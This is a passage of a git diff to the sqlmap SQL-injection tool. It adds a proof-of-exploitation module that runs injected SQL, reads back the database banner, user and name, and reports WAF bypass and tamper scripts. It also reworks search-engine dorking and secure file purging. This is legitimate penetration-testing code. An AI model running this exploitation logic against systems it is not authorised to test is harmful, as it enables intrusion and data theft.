lib.core.settings import ETA_DISPLAY_SMOOTHING +from lib.core.settings import IS_TTY class ProgressBar(object): """ @@ -26,7 +28,9 @@ def __init__(self, minValue=0, maxValue=10, totalWidth=None): self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 - self._start = None + self._start = time.time() # begin timing at construction, so the first completed item already yields an estimate + self._eta = None # last estimated seconds-remaining and when it was computed, so tick() + self._etaAt = None # can keep the countdown live between (possibly slow) item updates self.update() def _convertSeconds(self, value): @@ -73,17 +77,39 @@ def update(self, newAmount=0): def progress(self, newAmount): """ - This method saves item delta time and shows updated progress bar with calculated eta + Redraw the bar with an ETA from the average time per completed item so far, applied to the items + still remaining: (elapsed / done) * (max - newAmount). The remaining-item count is (max - newAmount) + - i.e. at 1/3 it estimates the 2 items left, at 2/3 the 1 left - not just the current item. """ - if self._start is None or newAmount > self._max: - self._start = time.time() - eta = None + now = time.time() + if newAmount > self._max: # counter rollover/reset -> restart timing + self._start = now + self._eta = None + + done = newAmount - self._min + elapsed = now - self._start + target = (elapsed / done) * (self._max - newAmount) if (done > 0 and elapsed > 0) else None + + if target is None: + self._eta = None + elif self._eta is None: + self._eta = target # first estimate: nothing to ease from else: - delta = time.time() - self._start - eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta + current = max(0, self._eta - (now - self._etaAt)) # what is on screen now (already decremented by tick()) + self._eta = ETA_DISPLAY_SMOOTHING * current + (1 - ETA_DISPLAY_SMOOTHING) * target # ease into the fresh estimate + self._etaAt = now self.update(newAmount) + self.draw(self._eta) + + def tick(self): + """ + Redraw the current bar with its ETA decremented by real elapsed time, so the countdown stays + live between updates (e.g. during a long time-based wait) instead of freezing at the last estimate + """ + + eta = None if self._eta is None else max(0, self._eta - (time.time() - self._etaAt)) self.draw(eta) def draw(self, eta=None): @@ -91,6 +117,9 @@ def draw(self, eta=None): This method draws the progress bar if it has changed """ + if not IS_TTY: # a progress bar is a terminal animation; suppress it when piped/redirected (as done for other '\r' output) + return + dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) if self._amount >= self._max: dataToStdout("\r%s\r" % (" " * self._width)) diff --git a/lib/utils/prove.py b/lib/utils/prove.py new file mode 100644 index 00000000000..3e661341d3a --- /dev/null +++ b/lib/utils/prove.py @@ -0,0 +1,483 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import time + +from lib.core.common import Backend +from lib.core.common import average +from lib.core.common import getCurrentThreadData +from lib.core.common import getSafeExString +from lib.core.common import getUnicode +from lib.core.common import openFile +from lib.core.common import randomInt +from lib.core.common import stdev +from lib.core.common import unArrayizeValue +from lib.core.common import urldecode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.core.enums import HTTPMETHOD +from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE +from lib.core.settings import INFERENCE_MARKER +from lib.core.settings import SLEEP_TIME_MARKER + +# how many times the differential control is repeated, to show it is stable rather than a coincidence +PROVE_REPETITIONS = 5 + +# characters of a datum read through an INFERENTIAL technique (one request per bit), so a time-based point +# does not spend minutes reading a banner it has already proven it can read +INFERENTIAL_DATUM_CHARS = 12 + +# comparison knobs that decide true/false at request time (lib/request/comparison.py reads these globals, +# not injection.conf); they must be re-pointed at the injection being proven or the oracle returns None +_COMPARISON_ATTRS = ("string", "notString", "regexp", "code", "textOnly", "titles") + +_LABEL_WIDTH = 10 + +# getValue() gates, so each experiment runs through ONE named technique and the evidence can be attributed +# to it. Without this the report would credit whatever technique getValue() happened to pick as fastest. +_GATES = { + PAYLOAD.TECHNIQUE.UNION: {"union": True, "error": False, "blind": False, "time": False}, + PAYLOAD.TECHNIQUE.ERROR: {"union": False, "error": True, "blind": False, "time": False}, + PAYLOAD.TECHNIQUE.QUERY: {"union": False, "error": True, "blind": False, "time": False}, + PAYLOAD.TECHNIQUE.BOOLEAN: {"union": False, "error": False, "blind": True, "time": False}, + PAYLOAD.TECHNIQUE.TIME: {"union": False, "error": False, "blind": False, "time": True}, + PAYLOAD.TECHNIQUE.STACKED: {"union": False, "error": False, "blind": False, "time": True}, +} + +# techniques that return the value inside the response body; the rest infer it one bit at a time +_INBAND = (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY) + +# order the experiments run in: cheapest and most demonstrative first +_ORDER = (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY, PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) + + +def _field(label, value): + """ + Renders one 'Label: value' line (value column aligned), with any extra list items as continuation + lines indented under the value. + """ + + lines = list(value) if isinstance(value, (list, tuple)) else [value] + indent = " " * (_LABEL_WIDTH + 2) + retVal = "%s:%s%s" % (label, " " * (_LABEL_WIDTH - len(label) + 1), lines[0] if lines else "") + for extra in lines[1:]: + retVal += "\n%s%s" % (indent, extra) + return retVal + + +def _activateInjection(injection): + """ + Points the global comparison configuration (and kb.injection) at the injection being proven, so the + boolean oracle / data retrieval use that injection's own distinguishing signal regardless of what the + globals drifted to during enumeration. Returns the previous state for restoration. + """ + + saved = dict((_, getattr(conf, _)) for _ in _COMPARISON_ATTRS) + saved["injection"] = kb.injection + + for attr in _COMPARISON_ATTRS: + setattr(conf, attr, getattr(injection.conf, attr, None)) + kb.injection = injection + + return saved + + +def _restoreInjection(saved): + kb.injection = saved.pop("injection") + for attr, value in saved.items(): + setattr(conf, attr, value) + + +def _exchange(): + """ + The wire facts of the request that was just sent: (request line, HTTP code, response bytes, seconds). + An evidence line without them is an assertion; with them the reader can check the work. + """ + + threadData = getCurrentThreadData() + parts = (threadData.lastRequestMsg or "").replace("\r\n", "\n").split("\n") + line = urldecode(parts[1].strip(), convall=True) if len(parts) > 1 else "" + return line, threadData.lastCode, len(threadData.lastPage or ""), threadData.lastQueryDuration + + +def _techniques(injection): + return [_ for _ in _ORDER if _ in injection.data] + + +def _name(stype): + return PAYLOAD.SQLINJECTION.get(stype) or "unknown" + + +def _outcome(ok, detail, exchange): + """One evidence row: 'PASS HTTP 200, 402 bytes, 0.045s' plus the request line beneath it.""" + + line, code, length, duration = exchange + facts = [] + if code is not None: + facts.append("HTTP %s" % code) + if length: + facts.append("%d bytes" % length) + if duration: + facts.append("%.3fs" % duration) + retVal = ["%-4s %s%s" % ("PASS" if ok else "FAIL", detail, (" [%s]" % ", ".join(facts)) if facts else "")] + if line: + retVal.append(" %s" % line) + return retVal + + +def _challenge(injection, a, b): + """ + The decisive experiment, run once through EVERY confirmed technique. + + The back-end is asked for a*b, where both operands were drawn at random after the scan started. That + product exists in no page, cache, log or reflection, and no amount of pattern matching in front of the + application can produce it - only something that evaluates SQL can. An in-band technique must return + the product itself; an inferential one must answer TRUE to 'a*b=product' AND FALSE to 'a*b=product+1', + which costs two requests instead of reading the digits back one bit at a time. + + Running it per technique is the point of the report: on a filtered target it shows exactly which + channels the protection closed and which one still carries data. + """ + + from lib.request import inject + + expected = a * b + retVal = [] + + for stype in _techniques(injection): + gate = _GATES[stype] + try: + if stype in _INBAND: + value = inject.getValue("%d*%d" % (a, b), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, resumeValue=False, suppressOutput=True, **gate) + exchange = _exchange() + ok = value is not None and ("%s" % value).strip() == str(expected) + detail = "returned %s" % value if value is not None else "no value returned" + else: + hit = inject.getValue("%d*%d=%d" % (a, b, expected), expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, resumeValue=False, suppressOutput=True, expectingNone=True, **gate) + exchange = _exchange() # quote the TRUE probe: on a time-based point that is where the delay shows + miss = inject.getValue("%d*%d=%d" % (a, b, expected + 1), expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, resumeValue=False, suppressOutput=True, expectingNone=True, **gate) + ok = bool(hit) and miss is False + detail = "confirmed %d, rejected %d" % (expected, expected + 1) if ok else "inconclusive (%s/%s)" % (hit, miss) + retVal.append((stype, ok, _outcome(ok, detail, exchange))) + except Exception as ex: + retVal.append((stype, False, ["FAIL %s" % getSafeExString(ex)])) + + return retVal + + +def _datumQuery(stype): + """ + A real datum to read out of the back-end, and its label. Inferential techniques pay one request per + bit, so their datum is bounded with the DBMS' own SUBSTRING template instead of a whole banner. + """ + + dbms = Backend.getIdentifiedDbms() + entry = queries.get(dbms) if dbms else None + if entry is None: + return None, None + + for attr, label in (("banner", "back-end DBMS banner"), ("current_db", "current database"), ("current_user", "current database user")): + query = getattr(getattr(entry, attr, None), "query", None) + if not query: + continue + if stype in _INBAND: + return query, label + template = getattr(getattr(entry, "substring", None), "query", None) + if template: + return template % (query, 1, INFERENTIAL_DATUM_CHARS), "%s (first %d characters)" % (label, INFERENTIAL_DATUM_CHARS) + return query, label + + return None, None + + +def _datum(passing): + """ + Reads a real value out of the back-end through a technique the challenge already proved, and reports + which one returned it. The challenge proves execution; this proves data egress. + """ + + from lib.request import inject + + for stype in passing: + query, label = _datumQuery(stype) + if not query: + continue + started = kb.requestCounter + try: + value = unArrayizeValue(inject.getValue(query, safeCharEncode=False, suppressOutput=True, resumeValue=False, **_GATES[stype])) + except Exception: + value = None + if not value: + continue + line, code, length, duration = _exchange() + head = "%s = %s [%s]" % (label, repr(getUnicode(value)).lstrip('u'), _name(stype)) + if stype in _INBAND: + head += " [HTTP %s, %d bytes, %.3fs]" % (code, length, duration or 0.0) + return [_field("Read-back", [head, " %s" % line] if line else [head])] + # inferred one bit at a time: a single request line would not represent the exchange + return [_field("Read-back", [head, " recovered bit by bit over %d requests" % (kb.requestCounter - started)])] + + return [] + + +def _booleanControl(injection): + """ + The TRUE/FALSE differential, quoted with the artifact that separates them AND with the response facts + behind it, so the reader can see what the oracle actually looked at. + """ + + from lib.request.inject import getValue + + def _ask(expression): + result = getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=True, union=False, error=False, time=False) + _line, code, length, _duration = _exchange() + return result, code, length + + n = randomInt() + trues = falses = 0 + trueCode = falseCode = trueLength = falseLength = None + + for _ in range(PROVE_REPETITIONS): + result, trueCode, trueLength = _ask("%d=%d" % (n, n)) + trues += bool(result) + result, falseCode, falseLength = _ask("%d=%d" % (n, n + 1)) + falses += result is False + + retVal = ["TRUE (%d=%d): %d/%d [HTTP %s, %s bytes]" % (n, n, trues, PROVE_REPETITIONS, trueCode, trueLength), + "FALSE (%d=%d): %d/%d [HTTP %s, %s bytes]" % (n, n + 1, falses, PROVE_REPETITIONS, falseCode, falseLength)] + + if injection.conf.string: + retVal.append("separated by: the response contains %s only when TRUE" % repr(injection.conf.string).lstrip('u')) + elif injection.conf.notString: + retVal.append("separated by: the response contains %s only when FALSE" % repr(injection.conf.notString).lstrip('u')) + elif injection.conf.code: + retVal.append("separated by: the HTTP status code") + elif injection.conf.titles: + retVal.append("separated by: the page title") + else: + retVal.append("separated by: response content similarity") + + # a TRUE condition answered by a 4xx is a block, not a database answer - the caller needs to know + return retVal, (bool(injection.conf.code) and (trueCode or 0) >= 400) + + +def _timeControl(injection, stype): + """ + Sweeps the injected delay (0 / T / 2T seconds) and shows the response time follows it. The 0s case is + the control: a slow application or a congested network cannot switch itself off on command. + """ + + from lib.core.agent import agent + from lib.core.common import popValue, pushValue + from lib.request.connect import Connect as Request + + vector = (injection.data.get(stype) or {}).get("vector") + + benign = [] + for _ in range(3): + try: + Request.queryPage(timeBasedCompare=True, raise404=False, silent=True) + benign.append(getCurrentThreadData().lastQueryDuration) + except Exception: + pass + baseAvg = average(benign) if benign else 0.0 + baseStd = stdev(benign) if len(benign) >= 2 else 0.0 + + if not (vector and SLEEP_TIME_MARKER in vector): + # a heavy-query delay carries no parameterizable seconds, so there is nothing to sweep + return ["a TRUE condition delays the response well beyond the normal ~%.3fs (jitter ~%.3fs)" % (baseAvg, baseStd)] + + n = randomInt() + base = conf.timeSec or 5 + measurements = [] + + for k in (0, base, 2 * base): + pushValue(conf.timeSec) + conf.timeSec = k + try: + query = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, "%d=%d" % (n, n)))) + Request.queryPage(agent.payload(newValue=query), timeBasedCompare=True, raise404=False, silent=True) + measurements.append((k, getCurrentThreadData().lastQueryDuration)) + except Exception: + measurements.append((k, None)) + finally: + conf.timeSec = popValue() + + if any(d is None for _, d in measurements): + return ["a TRUE condition delays the response well beyond the normal ~%.3fs (jitter ~%.3fs)" % (baseAvg, baseStd)] + + d0, dT, d2T = (measurements[0][1], measurements[1][1], measurements[2][1]) + retVal = ["unmodified request: %.3fs (jitter ~%.3fs)" % (baseAvg, baseStd), + "injected delay: %s" % " ".join("%ds -> %.2fs" % (k, d) for k, d in measurements)] + + # only claim 1:1 scaling when the measurements really track the injected seconds. A heavy-query delay + # also rides [SLEEPTIME] but does not scale linearly, so it must not be rendered as a controlled delay. + if d0 < max(0.5, base * 0.5) and abs(dT - base) <= base * 0.5 and abs(d2T - 2 * base) <= base * 0.6 and d2T > dT: + retVal.append("the delay follows the injected value ~1:1, and 0s returns at normal speed") + return retVal + + +# response codes a protection returns when it drops a request, rather than the application answering +_BLOCKED_CODES = (403, 406, 419, 429, 501, 503) + + +def _evasion(): + """ + What the proof had to get through. On a filtered target this is the part that matters: the evidence + above is worth much more when the report also states that a protection was in the path and what was + needed to carry data past it. + """ + + retVal = [] + if kb.identifiedWafs: + retVal.append("protection identified: %s" % ", ".join(sorted(kb.identifiedWafs))) + elif kb.wafBypass is not None: + retVal.append("protection detected in front of the application (not fingerprinted)") + if kb.wafBypass: + retVal.append("automatic bypass applied: non-scanner User-Agent and browser-like headers") + names = ", ".join(sorted(_.__name__.rsplit('.', 1)[-1] for _ in (kb.tamperFunctions or []))) + if names or conf.tamper: + retVal.append("tamper scripts in effect: %s" % (names or conf.tamper)) + blocked = ", ".join("%d x%d" % (code, count) for code, count in sorted((kb.httpErrorCodes or {}).items()) if code in _BLOCKED_CODES) + if blocked: + retVal.append("responses refused by the protection during the run: %s" % blocked) + if kb.droppingRequests: + retVal.append("the target dropped or reset requests during the scan (retried)") + if conf.delay: + retVal.append("requests were delayed by %.2fs each" % conf.delay) + return retVal + + +def _proveInjection(injection): + """ + Runs every experiment for one injection point and renders its block. Returns (fields, proven). + """ + + saved = _activateInjection(injection) + started = kb.requestCounter + + try: + a, b = randomInt(4), randomInt(4) # 4-digit operands: the product stays inside a 32-bit INT on every DBMS, yet is unguessable + rows = _challenge(injection, a, b) + passing = [stype for stype, ok, _ in rows if ok] + + blocked = None + control = [] + stype = passing[0] if passing else (_techniques(injection) or [None])[0] + + if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: + control, blocked = _booleanControl(injection) + controlLabel = "boolean differential" + elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data: + control = _timeControl(injection, PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED) + controlLabel = "timing control" + else: + controlLabel = None + + readback = _datum(passing) + finally: + _restoreInjection(saved) + + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else injection.place + fields = [_field("Parameter", "%s (%s)" % (injection.parameter, paramType)), + _field("Techniques", ", ".join(_name(_) for _ in _techniques(injection)) or "none")] + + challenge = ["the back-end must compute %d*%d = %d, drawn at random after the scan started" % (a, b, a * b), + "(the product is in no page, cache or reflection - only something that evaluates SQL can return it)"] + for stype, _ok, lines in rows: + challenge.append("%s:" % _name(stype)) + challenge.extend(" %s" % _ for _ in lines) + fields.append(_field("Challenge", challenge)) + + fields.extend(readback) + + if control: + fields.append(_field("Control", ["%s" % controlLabel] + [" %s" % _ for _ in control])) + + evasion = _evasion() + if evasion: + fields.append(_field("Evasion", evasion)) + + proven = bool(passing) + if proven: + through = " through the protection in front of the application" if (kb.identifiedWafs or kb.wafBypass) else "" + verdict = ["PROVEN - the back-end executed injected SQL and returned the result%s" % through, + "channels that carry data: %s" % ", ".join(_name(_) for _ in passing)] + failed = [_name(stype) for stype, ok, _ in rows if not ok] + if failed: + verdict.append("channels that did NOT answer: %s" % ", ".join(failed)) + else: + verdict = ["NOT PROVEN - no technique returned the computed value"] + if blocked: + verdict.append("a TRUE condition answers with an HTTP error - that is a block, not a database answer") + if kb.identifiedWafs or kb.droppingRequests or blocked: + verdict.append("a protection is interfering, so this may be a real injection whose data channel is blocked") + verdict.append("=> re-test without the protection, or with '--tamper', then prove again") + else: + verdict.append("the reported injection point reproduces a differential but cannot execute SQL") + verdict.append("=> treat it as a FALSE POSITIVE unless a side effect proves otherwise (e.g. '--os-shell')") + + verdict.append("%d requests spent on this proof" % (kb.requestCounter - started)) + fields.append(_field("Verdict", verdict)) + + return fields, proven + + +def proveExploitation(): + """ + Renders a verifiable demonstration of exploitation for every confirmed injection point (switch + '--proof'). It does not restate what detection reported: each claim is an experiment with a control, + an unpredictable expected value, and the request line, HTTP status, response size and timing that + produced it - and every claim is attributed to the technique that produced it. Written to stdout and + to '/proof.txt'. + """ + + injections = [_ for _ in (kb.injections or []) if getattr(_, "place", None)] + if not injections: + return + + target = conf.url or "" + if conf.parameters.get(PLACE.GET) and "?" not in target: # spell out the full GET target, not just the path + target += "?%s" % conf.parameters[PLACE.GET] + + fields = [_field("Target", target)] + if conf.parameters.get(PLACE.POST): + fields.append(_field("Data", conf.parameters[PLACE.POST])) + if Backend.getIdentifiedDbms(): + fields.append(_field("Back-end", Backend.getIdentifiedDbms())) + fields.append(_field("Verified", time.strftime("%Y-%m-%d %H:%M:%S"))) + + proven = 0 + for injection in injections: + block, ok = _proveInjection(injection) + proven += int(ok) + fields.append("") + fields.extend(block) + + if proven == len(injections): + header = "sqlmap proved exploitation of the following injection point(s)" + elif proven: + header = "sqlmap proved exploitation of %d of %d reported injection point(s)" % (proven, len(injections)) + else: + header = "sqlmap could NOT prove exploitation of the reported injection point(s)" + + data = "\n".join(fields) + conf.dumper.string(header, data) + + try: + path = os.path.join(conf.outputPath or ".", "proof.txt") + with openFile(path, "w+") as f: + f.write("%s:\n---\n%s\n---\n" % (header, data)) + logger.info("proof of exploitation written to '%s'" % path) + except Exception: + pass diff --git a/lib/utils/purge.py b/lib/utils/purge.py index b1c0e6cd41e..a290f93f773 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -13,11 +13,9 @@ import string from lib.core.common import getSafeExString -from lib.core.common import openFile -from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import logger -from thirdparty.six import unichr as _unichr +from lib.core.settings import PURGE_BLOCK_SIZE def purge(directory): """ @@ -46,12 +44,25 @@ def purge(directory): except: pass - logger.debug("writing random data to files") + logger.debug("overwriting file contents") for filepath in filepaths: try: filesize = os.path.getsize(filepath) - with openFile(filepath, "w+") as f: - f.write("".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize))) + if filesize: + # Note: NIST SP 800-88 ("Clear") / DoD 5220.22-M style multi-pass in-place overwrite + # (zeros, ones, random) forcing each pass to disk; performed BEFORE the truncation below + # so the original bytes are actually overwritten and not just released to free blocks. + # Written in bounded blocks so peak memory stays O(PURGE_BLOCK_SIZE), not O(filesize) + with open(filepath, "r+b") as f: + for getBlock in (lambda n: b"\x00" * n, lambda n: b"\xff" * n, lambda n: os.urandom(n)): + f.seek(0) + remaining = filesize + while remaining > 0: + count = min(PURGE_BLOCK_SIZE, remaining) + f.write(getBlock(count)) + remaining -= count + f.flush() + os.fsync(f.fileno()) except: pass diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py index 35d0a77cbac..1b7aa605d61 100644 --- a/lib/utils/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -12,14 +12,16 @@ PY3 = sys.version_info >= (3, 0) -if PY3: +try: + # Py2 + text_type = unicode + string_types = (basestring,) +except NameError: + # Py3 xrange = range text_type = str string_types = (str,) unichr = chr -else: - text_type = unicode - string_types = (basestring,) # Regex used for recognition of hex encoded characters HEX_ENCODED_CHAR_REGEX = r"(?P\\x[0-9A-Fa-f]{2})" @@ -53,6 +55,9 @@ def safecharencode(value): if isinstance(value, string_types): if any(_ not in SAFE_CHARS for _ in value): + # NOTE (checked twice, do NOT "fix" by deleting): this marker keeps an already-`\x`-carrying + # value (incl. getUnicode's 'reversible' \xNN) from double-escaping to `\\x` in console/CSV. + # Dropping it only swaps that for the rare literal-`\x`-in-data round-trip - a bad trade. retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER) retVal = retVal.replace('\\', SLASH_MARKER) @@ -74,6 +79,11 @@ def safecharencode(value): def safechardecode(value, binary=False): """ Reverse function to safecharencode + + >>> safechardecode(u'test123') == u'test123' + True + >>> safechardecode(safecharencode(u'test\x01\x02\xaf')) == u'test\x01\x02\xaf' + True """ retVal = value diff --git a/lib/utils/search.py b/lib/utils/search.py index 985226891fb..0ac45d72a7c 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -11,7 +11,6 @@ from lib.core.common import getSafeExString from lib.core.common import popValue from lib.core.common import pushValue -from lib.core.common import readInput from lib.core.common import urlencode from lib.core.convert import getBytes from lib.core.convert import getUnicode @@ -23,8 +22,6 @@ from lib.core.enums import HTTP_HEADER from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapBaseException -from lib.core.exception import SqlmapConnectionException -from lib.core.exception import SqlmapUserQuitException from lib.core.settings import BING_REGEX from lib.core.settings import DUCKDUCKGO_REGEX from lib.core.settings import DUMMY_SEARCH_USER_AGENT @@ -37,152 +34,102 @@ from thirdparty.six.moves import urllib as _urllib from thirdparty.socks import socks -def _search(dork): +def _fetch(url, headers, data=None): """ - This method performs the effective search on Google providing - the google dork and the Google session cookie + Fetches and returns the (decoded) content of a search engine results page + (or None in case of a connection issue) """ - if not dork: - return None - - page = None - data = None - requestHeaders = {} - responseHeaders = {} - - requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT) - requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE - requestHeaders[HTTP_HEADER.COOKIE] = GOOGLE_CONSENT_COOKIE + retVal = None try: - req = _urllib.request.Request("https://www.google.com/ncr", headers=requestHeaders) + req = _urllib.request.Request(url, data=getBytes(data) if data else None, headers=headers) conn = _urllib.request.urlopen(req) - except Exception as ex: - errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) - raise SqlmapConnectionException(errMsg) - gpage = conf.googlePage if conf.googlePage > 1 else 1 - logger.info("using search result page #%d" % gpage) - - url = "https://www.google.com/search?" # NOTE: if consent fails, try to use the "http://" - url += "q=%s&" % urlencode(dork, convall=True) - url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search" - url += "&start=%d" % ((gpage - 1) * 100) - - try: - req = _urllib.request.Request(url, headers=requestHeaders) - conn = _urllib.request.urlopen(req) - - requestMsg = "HTTP request:\nGET %s" % url + requestMsg = "HTTP request:\n%s %s" % ("POST" if data else "GET", url) requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() - code = conn.code - status = conn.msg responseHeaders = conn.info() - responseMsg = "HTTP response (%s - %d):\n" % (status, code) - + responseMsg = "HTTP response (%s - %d):\n" % (conn.msg, conn.code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + retVal = getUnicode(page) # Note: if decodePage call fails (Issue #4202) except _urllib.error.HTTPError as ex: try: - page = ex.read() - responseHeaders = ex.info() - except Exception as _: - warnMsg = "problem occurred while trying to get " - warnMsg += "an error page information (%s)" % getSafeExString(_) - logger.critical(warnMsg) - return None + retVal = getUnicode(ex.read()) + except Exception: + pass except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError): - errMsg = "unable to connect to Google" - raise SqlmapConnectionException(errMsg) + pass - page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + return retVal - page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) +def _search(dork): + """ + This method performs the effective search using the provided dork, + trying the available search engines in order of (current) scraping + reliability and returning the results of the first one that yields any + (so that the failure of a single engine does not break the feature) + """ - retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] + if not dork: + return None - if not retVal and "detected unusual traffic" in page: - warnMsg = "Google has detected 'unusual' traffic from " - warnMsg += "used IP address disabling further searches" + retVal = [] + seen = set() - if conf.proxyList: + requestHeaders = { + HTTP_HEADER.USER_AGENT: dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT), + HTTP_HEADER.ACCEPT_ENCODING: HTTP_ACCEPT_ENCODING_HEADER_VALUE, + HTTP_HEADER.COOKIE: GOOGLE_CONSENT_COOKIE, + } + + gpage = conf.googlePage if conf.googlePage > 1 else 1 + logger.info("using search result page #%d" % gpage) + + encoded = urlencode(dork, convall=True) + + # Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (DuckDuckGo currently being the only consistently scrapeable one) + engines = ( + ("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, (gpage - 1) * 30), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")), + ("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: match.group(1)), + ("Google", "https://www.google.com/search?q=%s&num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search&start=%d" % (encoded, (gpage - 1) * 100), None, GOOGLE_REGEX, re.I, lambda match: match.group(1) or match.group(2)), + ) + + for name, url, data, regex, flags, extract in engines: + page = _fetch(url, requestHeaders, data) + + if not page: + continue + + count = 0 + for match in re.finditer(regex, page, flags): + link = _urllib.parse.unquote(extract(match)) + if link and link not in seen: + seen.add(link) + retVal.append(link) + count += 1 + + if count: + logger.info("found %d usable link%s using %s" % (count, 's' if count != 1 else "", name)) + break # Note: stop at the first engine that actually returns results (others are only fallbacks) + + # Note: switch proxy (if available) when an abuse/captcha page was served (instead of pointlessly falling through to the next engine from the same blocked IP) + if conf.proxyList and (("detected unusual traffic" in page) or ("issue with the Tor Exit Node you are currently using" in page)): + warnMsg = "%s has detected 'unusual' traffic from the used IP address" % name raise SqlmapBaseException(warnMsg) - else: - logger.critical(warnMsg) if not retVal: - message = "no usable links found. What do you want to do?" - message += "\n[1] (re)try with DuckDuckGo (default)" - message += "\n[2] (re)try with Bing" - message += "\n[3] quit" - choice = readInput(message, default='1') - - if choice == '3': - raise SqlmapUserQuitException - elif choice == '2': - url = "https://www.bing.com/search?q=%s&first=%d" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1) - regex = BING_REGEX - else: - url = "https://html.duckduckgo.com/html/" - data = "q=%s&s=%d" % (urlencode(dork, convall=True), (gpage - 1) * 30) - regex = DUCKDUCKGO_REGEX - - try: - req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders) - conn = _urllib.request.urlopen(req) - - requestMsg = "HTTP request:\nGET %s" % url - requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str - logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) - - page = conn.read() - code = conn.code - status = conn.msg - responseHeaders = conn.info() - page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) - - responseMsg = "HTTP response (%s - %d):\n" % (status, code) - - if conf.verbose <= 4: - responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) - elif conf.verbose > 4: - responseMsg += "%s\n%s\n" % (responseHeaders, page) - - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - except _urllib.error.HTTPError as ex: - try: - page = ex.read() - page = decodePage(page, ex.headers.get("Content-Encoding"), ex.headers.get("Content-Type")) - except socket.timeout: - warnMsg = "connection timed out while trying " - warnMsg += "to get error page information (%d)" % ex.code - logger.critical(warnMsg) - return None - except: - errMsg = "unable to connect" - raise SqlmapConnectionException(errMsg) - - page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) - - retVal = [_urllib.parse.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)] - - if not retVal and "issue with the Tor Exit Node you are currently using" in page: - warnMsg = "DuckDuckGo has detected 'unusual' traffic from " - warnMsg += "used (Tor) IP address" - - if conf.proxyList: - raise SqlmapBaseException(warnMsg) - else: - logger.critical(warnMsg) + warnMsg = "no usable links found (search engines might be blocking the used IP address)" + logger.critical(warnMsg) return retVal @@ -206,6 +153,7 @@ def search(dork): return search(dork) else: raise + finally: kb.choices.redirect = popValue() diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 7506b42a79f..34c377c5a96 100644 --- 